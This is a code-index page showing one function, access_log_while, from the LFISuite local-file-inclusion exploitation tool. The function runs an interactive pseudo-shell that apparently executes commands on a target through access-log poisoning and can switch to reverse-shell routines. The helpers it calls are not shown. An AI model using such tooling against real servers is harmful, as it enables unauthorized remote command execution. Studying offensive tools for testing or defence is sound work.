MCPcopy
hub / github.com/D35m0nd142/LFISuite / access_log_while

Function access_log_while

lfisuite.py:945–959  ·  view source on GitHub ↗
(whoami,logmain,pwd,ologurl,keyword,windows)

Source from the content-addressed store, hash-verified

943 return ""
944
945def access_log_while(whoami,logmain,pwd,ologurl,keyword,windows):
946 cmd = ""
947 while(cmd != "exit" and cmd != "quit"):
948 cmd = raw_input("%s@%s:%s$ " %(whoami, logmain.split("/")[2], pwd))
949 cmd = cmd.replace("'","\"")
950 if(cmd != "exit" and cmd != "quit"):
951 if(checkIfReverseShell(cmd)):
952 if(windows is False):
953 access_log_reverse_shell(logmain,keyword,ologurl)
954 else:
955 access_log_windows_reverse_shell(logmain,keyword,ologurl)
956 else:
957 send_access_log_cmd(cmd, logmain, keyword)
958 print cleanOutput(access_log_ext(ologurl, "\"%s /" %keyword), False)
959 exit()
960
961def simpleGETorHEAD(keyword, ologurl, logmain):
962 randStr = generateRandom()

Callers 1

simpleGETorHEADFunction · 0.85

Calls 7

checkIfReverseShellFunction · 0.85
access_log_reverse_shellFunction · 0.85
send_access_log_cmdFunction · 0.85
cleanOutputFunction · 0.85
access_log_extFunction · 0.85
exitFunction · 0.85

Tested by

no test coverage detected